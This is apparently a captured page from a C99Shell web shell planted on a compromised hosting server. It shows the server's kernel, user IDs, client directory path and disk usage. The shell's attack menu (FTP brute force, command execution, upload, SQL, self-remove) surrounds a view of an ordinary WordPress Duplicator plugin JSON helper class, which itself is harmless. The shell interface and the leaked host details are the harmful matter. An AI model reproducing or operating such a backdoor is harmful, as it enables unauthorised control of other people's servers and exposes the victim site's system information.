!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/duplicator/classes/utilities/   drwxr-xr-x
Free 180.01 GB of 490.84 GB (36.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.u.json.php (3.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class DUP_JSON
{
    protected static 
$_messages = array(
        
JSON_ERROR_NONE => 'No error has occurred',
        
JSON_ERROR_DEPTH => 'The maximum stack depth has been exceeded',
        
JSON_ERROR_STATE_MISMATCH => 'Invalid or malformed JSON',
        
JSON_ERROR_CTRL_CHAR => 'Control character error, possibly incorrectly encoded',
        
JSON_ERROR_SYNTAX => 'Syntax error',
        
JSON_ERROR_UTF8 => 'Malformed UTF-8 characters. To resolve see https://snapcreek.com/duplicator/docs/faqs-tech/?utm_source=duplicator_free&utm_medium=wordpress_plugin&utm_campaign=problem_resolution&utm_content=malformed_utf8#faq-package-170-q'
    
);

    public static function 
customEncode($value$iteration 1)
    {
        if (
DUP_Util::$on_php_53_plus) {

            
$encoded json_encode($value);

            switch (
json_last_error()) {
                case 
JSON_ERROR_NONE:
                    return 
$encoded;
                case 
JSON_ERROR_DEPTH:
                    throw new 
RuntimeException('Maximum stack depth exceeded');
                case 
JSON_ERROR_STATE_MISMATCH:
                    throw new 
RuntimeException('Underflow or the modes mismatch');
                case 
JSON_ERROR_CTRL_CHAR:
                    throw new 
RuntimeException('Unexpected control character found');
                case 
JSON_ERROR_SYNTAX:
                    throw new 
RuntimeException('Syntax error, malformed JSON');
                case 
JSON_ERROR_UTF8:
                    if (
$iteration == 1) {
                        
$clean self::makeUTF8($value);
                        return 
self::customEncode($clean$iteration 1);
                    } else {
                        throw new 
RuntimeException('UTF-8 error loop');
                    }
                default:
                    throw new 
RuntimeException('Unknown error');
            }
        } else {
            return 
self::oldCustomEncode($value);
        }
    }

    public static function 
encode($value$options 0)
    {
        
$result json_encode($value$options);

        if (
$result !== FALSE) {
            return 
$result;
        }

        if (
function_exists('json_last_error')) {
            
$message self::$_messages[json_last_error()];
        } else {
            
$message __('One or more filenames isn\'t compatible with JSON encoding');
        }

        throw new 
RuntimeException($message);
    }

    public static function 
safeEncode($value)
    {
        
$jsonString json_encode($value);

        if ((
$jsonString === false) || trim($jsonString) == '') {
            
$jsonString self::customEncode($value);

            if ((
$jsonString === false) || trim($jsonString) == '') {
                throw new 
Exception('Unable to generate JSON from object');
            }
        }

        return 
$jsonString;
    }

    public static function 
decode($json$assoc false)
    {
        
$result json_decode($json$assoc);

        if (
$result) {
            return 
$result;
        }

        if (
function_exists('json_last_error')) {
            throw new 
RuntimeException(self::$_messages[json_last_error()]);
        } else {
            throw new 
RuntimeException("DUP_JSON decode error");
        }
        
    }

    private static function 
makeUTF8($mixed)
    {
        if (
is_array($mixed)) {
            foreach (
$mixed as $key => $value) {
                
$mixed[$key] = self::makeUTF8($value);
            }
        } else if (
is_string($mixed)) {
            return 
utf8_encode($mixed);
        }
        return 
$mixed;
    }

    private static function 
escapeString($str)
    {
        return 
addcslashes($str"\v\t\n\r\f\"\\/");
    }

    private static function 
oldCustomEncode($in)
    {
        
$out "";

        if (
is_object($in)) {
            
$arr[$key]     = "\"".self::escapeString($key)."\":\"{$val}\"";
            
$in             get_object_vars($in);
        }

        if (
is_array($in)) {
            
$obj false;
            
$arr = array();

            foreach (
$in AS $key => $val) {
                if (!
is_numeric($key)) {
                    
$obj true;
                }
                
$arr[$key] = self::oldCustomEncode($val);
            }

            if (
$obj) {
                foreach (
$arr AS $key => $val) {
                    
$arr[$key] = "\"".self::escapeString($key)."\":{$val}";
                }
                
$val implode(','$arr);
                
$out .= "{{$val}}";
            } else {
                
$val implode(','$arr);
                
$out .= "[{$val}]";
            }
        } elseif (
is_bool($in)) {
            
$out .= $in 'true' 'false';
        } elseif (
is_null($in)) {
            
$out .= 'null';
        } elseif (
is_string($in)) {
            
$out .= "\"".self::escapeString($in)."\"";
        } else {
            
$out .= $in;
        }

        return 
"{$out}";
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0076 ]--